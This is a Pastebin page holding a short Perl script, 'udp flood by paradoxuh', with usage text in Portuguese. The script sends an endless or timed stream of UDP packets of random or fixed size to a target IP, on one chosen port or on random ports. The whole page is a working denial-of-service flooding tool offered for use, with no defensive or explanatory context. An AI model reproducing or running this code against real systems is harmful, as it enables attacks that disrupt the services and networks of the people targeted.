TP2K1

ddos.pl UDP Food

May 30th, 2015
873
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.06 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. ##########################
  4. # udp flood by paradoxuh #
  5. ##########################
  6.  
  7. use Socket;
  8. use strict;
  9.  
  10. if ($#ARGV != 3) {
  11. print "flood.pl <IP> <Porta> <Pacotes> <Tempo>\n\n";
  12. print " Porta = 0: Usar Portas aleatorias\n";
  13. print " Pacotes = 0: Usar entre 64 e 1024 Pacotes aleatorios\n";
  14. print " Tempo = 0: Ataque continuo\n";
  15. exit(1);
  16. }
  17.  
  18. my ($ip,$port,$size,$time) = @ARGV;
  19.  
  20. my ($iaddr,$endtime,$psize,$pport);
  21.  
  22. $iaddr = inet_aton("$ip") or die "IP inválido: $ip\n";
  23. $endtime = time() + ($time ? $time : 1000000);
  24.  
  25. socket(flood, PF_INET, SOCK_DGRAM, 17);
  26.  
  27.  
  28. print "Atacando o IP e Porta $ip " . ($port ? $port : "random") . " com " .
  29. ($size ? "$size-bytes" : "random size") . " de pacotes" .
  30. ($time ? " por $time segundos" : "") . "\n";
  31. print "Pare o ataque pressionando Ctrl + C\n" unless $time;
  32.  
  33. for (;time() <= $endtime;) {
  34. $psize = $size ? $size : int(rand(1024-64)+64) ;
  35. $pport = $port ? $port : int(rand(65500))+1;
  36.  
  37. send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}
Add Comment
Please, Sign In to add comment